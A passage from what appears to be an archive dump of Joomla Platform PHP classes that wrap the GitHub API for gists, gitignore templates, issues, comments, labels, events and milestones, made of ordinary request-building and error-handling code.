// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to check if a gist has been starred.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return boolean True if the gist is starred.
*/
public function isStarred($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId . '/star';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code == 204)
{
return true;
}
elseif ($response->code == 404)
{
return false;
}
else
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to star a gist.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return void
*/
public function star($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId . '/star';
// Send the request.
$response = $this->client->put($this->fetchUrl($path),
'');
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to star a gist.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return void
*/
public function unstar($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId . '/star';
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to fetch a data array for transmitting to the GitHub API for a
list of files based on
* an input array of file paths or filename and content pairs.
*
* @param array $files The list of file paths or filenames and
content.
*
* @throws InvalidArgumentException
* @since 1.7.3
*
* @return array
*/
protected function buildFileData(array $files)
{
$data = array();
foreach ($files as $key => $file)
{
// If the key isn't numeric, then we are dealing with a file whose
content has been supplied
if (!is_numeric($key))
{
$data[$key] = array('content' => $file);
}
// Otherwise, we have been given a path and we have to load the content
// Verify that the each file exists.
elseif (!file_exists($file))
{
throw new InvalidArgumentException('The file ' . $file .
' does not exist.');
}
else
{
$data[basename($file)] = array('content' =>
file_get_contents($file));
}
}
return $data;
}
/*
* Deprecated methods
*/
/**
* Method to create a comment on a gist.
*
* @param integer $gistId The gist number.
* @param string $body The comment body text.
*
* @deprecated use gists->comments->create()
*
* @return object
*
* @since 1.7.3
*/
public function createComment($gistId, $body)
{
return $this->comments->create($gistId, $body);
}
/**
* Method to delete a comment on a gist.
*
* @param integer $commentId The id of the comment to delete.
*
* @deprecated use gists->comments->delete()
*
* @return void
*
* @since 1.7.3
*/
public function deleteComment($commentId)
{
$this->comments->delete($commentId);
}
/**
* Method to update a comment on a gist.
*
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
* @deprecated use gists->comments->edit()
*
* @return object
*
* @since 1.7.3
*/
public function editComment($commentId, $body)
{
return $this->comments->edit($commentId, $body);
}
/**
* Method to get a specific comment on a gist.
*
* @param integer $commentId The comment id to get.
*
* @deprecated use gists->comments->get()
*
* @return object
*
* @since 1.7.3
*/
public function getComment($commentId)
{
return $this->comments->get($commentId);
}
/**
* Method to get the list of comments on a gist.
*
* @param integer $gistId The gist number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @deprecated use gists->comments->getList()
*
* @return array
*
* @since 1.7.3
*/
public function getComments($gistId, $page = 0, $limit = 0)
{
return $this->comments->getList($gistId, $page, $limit);
}
}
github/package/gitignore.php000064400000003642151171674100012131
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Gitignore class for the Joomla Platform.
*
* The .gitignore Templates API lists and fetches templates from the GitHub
.gitignore repository.
*
* @documentation https://developer.github.com/v3/gitignore/
* @documentation https://github.com/github/gitignore
*
* @since 3.3.0
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageGitignore extends JGithubPackage
{
/**
* Listing available templates
*
* List all templates available to pass as an option when creating a
repository.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList()
{
// Build the request path.
$path = '/gitignore/templates';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a single template
*
* @param string $name The name of the template
* @param boolean $raw Raw output
*
* @throws DomainException
* @since 3.3 (CMS)
*
* @return mixed|string
*/
public function get($name, $raw = false)
{
// Build the request path.
$path = '/gitignore/templates/' . $name;
$headers = array();
if ($raw)
{
$headers['Accept'] =
'application/vnd.github.raw+json';
}
$response = $this->client->get($this->fetchUrl($path),
$headers);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
$message = (isset($error->message)) ? $error->message :
'Invalid response';
throw new DomainException($message, $response->code);
}
return ($raw) ? $response->body : json_decode($response->body);
}
}
github/package/issues/assignees.php000064400000004135151171674100013434
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Assignees class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/issues/assignees/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageIssuesAssignees extends JGithubPackage
{
/**
* List assignees.
*
* This call lists all the available assignees (owner + collaborators) to
which issues may be assigned.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @return object
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/assignees';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Check assignee.
*
* You may check to see if a particular user is an assignee for a
repository.
* If the given assignee login belongs to an assignee for the repository,
a 204 header
* with no content is returned.
* Otherwise a 404 status code is returned.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $assignee The assignees login name.
*
* @throws DomainException|Exception
* @return boolean
*/
public function check($owner, $repo, $assignee)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/assignees/' . $assignee;
try
{
$response = $this->client->get($this->fetchUrl($path));
if (204 == $response->code)
{
return true;
}
throw new DomainException('Invalid response: ' .
$response->code);
}
catch (DomainException $e)
{
if (isset($response->code) && 404 == $response->code)
{
return false;
}
throw $e;
}
}
}
github/package/issues/comments.php000064400000013015151171674100013275
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Comments class for the Joomla Platform.
*
* The Issue Comments API supports listing, viewing, editing, and creating
comments
* on issues and pull requests.
*
* @documentation https://developer.github.com/v3/issues/comments/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageIssuesComments extends JGithubPackage
{
/**
* Method to get the list of comments on an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($owner, $repo, $issueId, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . (int) $issueId . '/comments';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
/**
* Method to get the list of comments in a repository.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sort The sort field - created or updated.
* @param string $direction The sort order- asc or desc. Ignored
without sort parameter.
* @param JDate $since A timestamp in ISO 8601 format.
*
* @throws UnexpectedValueException
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getRepositoryList($owner, $repo, $sort =
'created', $direction = 'asc', JDate $since = null)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/comments';
if (false == in_array($sort, array('created',
'updated')))
{
throw new UnexpectedValueException(
sprintf(
'%1$s - sort field must be "created" or
"updated"', __METHOD__
)
);
}
if (false == in_array($direction, array('asc',
'desc')))
{
throw new UnexpectedValueException(
sprintf(
'%1$s - direction field must be "asc" or
"desc"', __METHOD__
)
);
}
$path .= '?sort=' . $sort;
$path .= '&direction=' . $direction;
if ($since)
{
$path .= '&since=' . $since->toISO8601();
}
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Method to get a single comment.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The comment id.
*
* @return mixed
*/
public function get($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/comments/' . (int) $id;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to update a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
* @since 1.7.3
* @throws DomainException
*
* @return object
*/
public function edit($user, $repo, $commentId, $body)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues/comments/' . (int) $commentId;
// Build the request data.
$data = json_encode(
array(
'body' => $body,
)
);
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to create a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param string $body The comment body text.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($user, $repo, $issueId, $body)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues/' . (int) $issueId . '/comments';
// Build the request data.
$data = json_encode(
array(
'body' => $body,
)
);
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Method to delete a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to delete.
*
* @throws DomainException
* @since 1.7.3
*
* @return boolean
*/
public function delete($user, $repo, $commentId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues/comments/' . (int) $commentId;
// Send the request.
$this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
return true;
}
}
github/package/issues/events.php000064400000005317151171674100012762
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Issues Events class for the Joomla Platform.
*
* Records various events that occur around an Issue or Pull Request.
* This is useful both for display on issue/pull request information pages
and also
* to determine who should be notified of comments.
*
* @documentation https://developer.github.com/v3/issues/events/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageIssuesEvents extends JGithubPackage
{
/**
* List events for an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueNumber The issue number.
* @param integer $page The page number from which to get
items.
* @param integer $limit The number of items on a page.
*
* @return object
*/
public function getList($owner, $repo, $issueNumber, $page = 0, $limit =
0)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . (int) $issueNumber . '/events';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
/**
* List events for a repository.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @return object
*/
public function getListRepository($owner, $repo, $issueId, $page = 0,
$limit = 0)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . (int) $issueId . '/comments';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
/**
* Get a single event.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The event number.
*
* @return object
*/
public function get($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/events/' . (int) $id;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
}
github/package/issues/labels.php000064400000017214151171674100012717
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Milestones class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/issues/labels/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageIssuesLabels extends JGithubPackage
{
/**
* Method to get the list of labels on a repo.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @throws DomainException
* @since 3.1.4
*
* @return array
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/labels';
// Send the request.
return $this->processResponse(
$response = $this->client->get($this->fetchUrl($path))
);
}
/**
* Method to get a specific label on a repo.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The label name to get.
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function get($user, $repo, $name)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/labels/' . $name;
// Send the request.
return $this->processResponse(
$response = $this->client->get($this->fetchUrl($path))
);
}
/**
* Method to create a label on a repo.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The label name.
* @param string $color The label color.
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function create($owner, $repo, $name, $color)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/labels';
// Build the request data.
$data = json_encode(
array(
'name' => $name,
'color' => $color,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a label on a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $label The label name.
* @param string $name The new label name.
* @param string $color The new label color.
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function update($user, $repo, $label, $name, $color)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/labels/' . $label;
// Build the request data.
$data = json_encode(
array(
'name' => $name,
'color' => $color,
)
);
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to delete a label on a repo.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The label name.
*
* @throws DomainException
* @return object
*
* @since 3.1.4
*/
public function delete($owner, $repo, $name)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/labels/' . $name;
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* List labels on an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $number The issue number.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListByIssue($owner, $repo, $number)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . $number . '/labels';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Add labels to an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $number The issue number.
* @param array $labels An array of labels to add.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function add($owner, $repo, $number, array $labels)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . $number . '/labels';
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($labels))
);
}
/**
* Remove a label from an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $number The issue number.
* @param string $name The name of the label to remove.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function removeFromIssue($owner, $repo, $number, $name)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . $number . '/labels/' . $name;
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path))
);
}
/**
* Replace all labels for an issue.
*
* Sending an empty array ([]) will remove all Labels from the Issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $number The issue number.
* @param array $labels New labels
*
* @since 3.3 (CMS)
*
* @return object
*/
public function replace($owner, $repo, $number, array $labels)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . $number . '/labels';
// Send the request.
return $this->processResponse(
$this->client->put($this->fetchUrl($path),
json_encode($labels))
);
}
/**
.* Remove all labels from an issue.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $number The issue number.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function removeAllFromIssue($owner, $repo, $number)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/' . $number . '/labels';
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Get labels for every issue in a milestone.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $number The issue number.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListByMilestone($owner, $repo, $number)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/milestones/' . $number . '/labels';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
}
github/package/issues/milestones.php000064400000014732151171674100013641
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Milestones class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/issues/milestones/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageIssuesMilestones extends JGithubPackage
{
/**
* Method to get the list of milestones for a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $state The milestone state to retrieved. Open
(default) or closed.
* @param string $sort Sort can be due_date (default) or
completeness.
* @param string $direction Direction is asc or desc (default).
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 3.1.4
*
* @return array
*/
public function getList($user, $repo, $state = 'open', $sort =
'due_date', $direction = 'desc', $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones?';
$path .= 'state=' . $state;
$path .= '&sort=' . $sort;
$path .= '&direction=' . $direction;
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a specific milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The milestone id to get.
*
* @throws DomainException
* @return object
*
* @since 3.1.4
*/
public function get($user, $repo, $milestoneId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to create a milestone for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $title The title of the milestone.
* @param string $state Can be open (default) or closed.
* @param string $description Optional description for milestone.
* @param string $dueOn Optional ISO 8601 time.
*
* @throws DomainException
* @return object
*
* @since 3.1.4
*/
public function create($user, $repo, $title, $state = null, $description =
null, $dueOn = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones';
// Build the request data.
$data = array(
'title' => $title,
);
if (!is_null($state))
{
$data['state'] = $state;
}
if (!is_null($description))
{
$data['description'] = $description;
}
if (!is_null($dueOn))
{
$data['due_on'] = $dueOn;
}
$data = json_encode($data);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The id of the comment to update.
* @param integer $title Optional title of the milestone.
* @param string $state Can be open (default) or closed.
* @param string $description Optional description for milestone.
* @param string $dueOn Optional ISO 8601 time.
*
* @throws DomainException
* @return object
*
* @since 3.1.4
*/
public function edit($user, $repo, $milestoneId, $title = null, $state =
null, $description = null, $dueOn = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Build the request data.
$data = array();
if (!is_null($title))
{
$data['title'] = $title;
}
if (!is_null($state))
{
$data['state'] = $state;
}
if (!is_null($description))
{
$data['description'] = $description;
}
if (!is_null($dueOn))
{
$data['due_on'] = $dueOn;
}
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete a milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The id of the milestone to delete.
*
* @throws DomainException
* @return void
*
* @since 3.1.4
*/
public function delete($user, $repo, $milestoneId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
}
github/package/issues.php000064400000034607151171674100011462
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Issues class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/issues
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @property-read JGithubPackageIssuesAssignees $assignees GitHub API
object for assignees.
* @property-read JGithubPackageIssuesComments $comments GitHub API
object for comments.
* @property-read JGithubPackageIssuesEvents $events GitHub API
object for events.
* @property-read JGithubPackageIssuesLabels $labels GitHub API
object for labels.
* @property-read JGithubPackageIssuesMilestones $milestones GitHub API
object for milestones.
*/
class JGithubPackageIssues extends JGithubPackage
{
protected $name = 'Issues';
protected $packages = array('assignees', 'comments',
'events', 'labels', 'milestones');
/**
* Method to create an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $title The title of the new issue.
* @param string $body The body text for the new issue.
* @param string $assignee The login for the GitHub user that this
issue should be assigned to.
* @param integer $milestone The milestone to associate this issue
with.
* @param array $labels The labels to associate with this issue.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($user, $repo, $title, $body = null, $assignee =
null, $milestone = null, array $labels = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues';
// Ensure that we have a non-associative array.
if (isset($labels))
{
$labels = array_values($labels);
}
// Build the request data.
$data = json_encode(
array(
'title' => $title,
'assignee' => $assignee,
'milestone' => $milestone,
'labels' => $labels,
'body' => $body,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param string $state The optional new state for the issue.
[open, closed]
* @param string $title The title of the new issue.
* @param string $body The body text for the new issue.
* @param string $assignee The login for the GitHub user that this
issue should be assigned to.
* @param integer $milestone The milestone to associate this issue
with.
* @param array $labels The labels to associate with this issue.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($user, $repo, $issueId, $state = null, $title = null,
$body = null, $assignee = null, $milestone = null, array $labels = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues/' . (int) $issueId;
// Create the data object.
$data = new stdClass;
// If a title is set add it to the data object.
if (isset($title))
{
$data->title = $title;
}
// If a body is set add it to the data object.
if (isset($body))
{
$data->body = $body;
}
// If a state is set add it to the data object.
if (isset($state))
{
$data->state = $state;
}
// If an assignee is set add it to the data object.
if (isset($assignee))
{
$data->assignee = $assignee;
}
// If a milestone is set add it to the data object.
if (isset($milestone))
{
$data->milestone = $milestone;
}
// If labels are set add them to the data object.
if (isset($labels))
{
// Ensure that we have a non-associative array.
if (isset($labels))
{
$labels = array_values($labels);
}
$data->labels = $labels;
}
// Encode the request data.
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function get($user, $repo, $issueId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues/' . (int) $issueId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list an authenticated user's issues.
*
* @param string $filter The filter type: assigned, created,
mentioned, subscribed.
* @param string $state The optional state to filter requests by.
[open, closed]
* @param string $labels The list of comma separated Label names.
Example: bug,ui,@high.
* @param string $sort The sort order: created, updated,
comments, default: created.
* @param string $direction The list direction: asc or desc, default:
desc.
* @param JDate $since The date/time since when issues should be
returned.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($filter = null, $state = null, $labels = null,
$sort = null,
$direction = null, JDate $since = null, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/issues';
// TODO Implement the filtering options.
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list issues.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $milestone The milestone number, 'none',
or *.
* @param string $state The optional state to filter requests by.
[open, closed]
* @param string $assignee The assignee name, 'none', or
*.
* @param string $mentioned The GitHub user name.
* @param string $labels The list of comma separated Label names.
Example: bug,ui,@high.
* @param string $sort The sort order: created, updated,
comments, default: created.
* @param string $direction The list direction: asc or desc, default:
desc.
* @param JDate $since The date/time since when issues should be
returned.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getListByRepository($user, $repo, $milestone = null,
$state = null, $assignee = null, $mentioned = null, $labels = null,
$sort = null, $direction = null, JDate $since = null, $page = 0, $limit =
0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/issues';
$uri = new JUri($this->fetchUrl($path, $page, $limit));
if ($milestone)
{
$uri->setVar('milestone', $milestone);
}
if ($state)
{
$uri->setVar('state', $state);
}
if ($assignee)
{
$uri->setVar('assignee', $assignee);
}
if ($mentioned)
{
$uri->setVar('mentioned', $mentioned);
}
if ($labels)
{
$uri->setVar('labels', $labels);
}
if ($sort)
{
$uri->setVar('sort', $sort);
}
if ($direction)
{
$uri->setVar('direction', $direction);
}
if ($since)
{
$uri->setVar('since', $since->toISO8601());
}
// Send the request.
$response = $this->client->get((string) $uri);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/*
* Deprecated methods
*/
/**
* Method to create a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param string $body The comment body text.
*
* @deprecated use issues->comments->create()
*
* @return object
*
* @since 1.7.3
*/
public function createComment($user, $repo, $issueId, $body)
{
return $this->comments->create($user, $repo, $issueId, $body);
}
/**
